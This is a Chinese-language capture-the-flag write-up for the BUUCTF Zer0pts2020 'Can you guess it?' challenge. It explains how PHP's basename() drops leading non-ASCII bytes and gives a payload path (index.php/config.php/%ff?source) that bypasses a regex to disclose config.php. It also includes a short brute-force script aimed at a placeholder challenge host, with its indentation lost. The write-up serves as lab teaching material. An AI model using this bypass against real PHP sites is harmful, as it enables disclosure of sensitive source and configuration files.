文章目录

前置知识

一些学到的新函数与新变量

新变量属性-PHP_SELF

​$_SERVER['PHP_SELF']​​ 表示当前 php 文件相对于网站根目录的位置地址,与 document root 相关

下面是本地测试截图,也就是​​http://.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']​

[BUUCTF][Zer0pts2020]Can you guess it?_php

新php函数-basename

​basename()​​ 函数会返回路径中的文件名部分

假如路径是/index.php/config.php

浏览器的解析结果都是index.php

而basename会返回config.php

就算后面跟上多余的字符也会返回文件名部分

[BUUCTF][Zer0pts2020]Can you guess it?_php_02

basename broken with non-ASCII-chars



下面是来自[官方网站](https://bugs.php.net/bug.php?id=62119)的英语描述

With the default locale setting “C”, basename() drops non-ASCII-chars
at the beginning of a filename.

var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php

简单来说​​basename()​​函数存在一个问题,它会去掉文件名开头的非ASCII值

WP部分

这道题其实很简单,知道了上面的函数了以后,代码审计以后其实最主要的部分就是正则过滤了​​/config.php/*$/i​​,我们只需要绕过它即可,道理也很简单

它是匹配尾部

因此我们只要构造​​xxxxx.node3.buuoj.cn/index.php/config.php/%ff?source​​ 一方面,绕过了正则匹配

另一方面满足了​​isset​​,从而获取到​​config.php​

[BUUCTF][Zer0pts2020]Can you guess it?_php函数_03


当然也可以用脚本试一试哪些字符不被过滤掉

import requests
import re

for i in range(0,255):
url ='xxxxx.node3.buuoj.cn/index.php/config.php/{}?source'.format(chr(i))
print(url)
r = requests.get(url)
flag = re.findall("flag\{.*?\}", r.text)
if flag:
print(flag)
break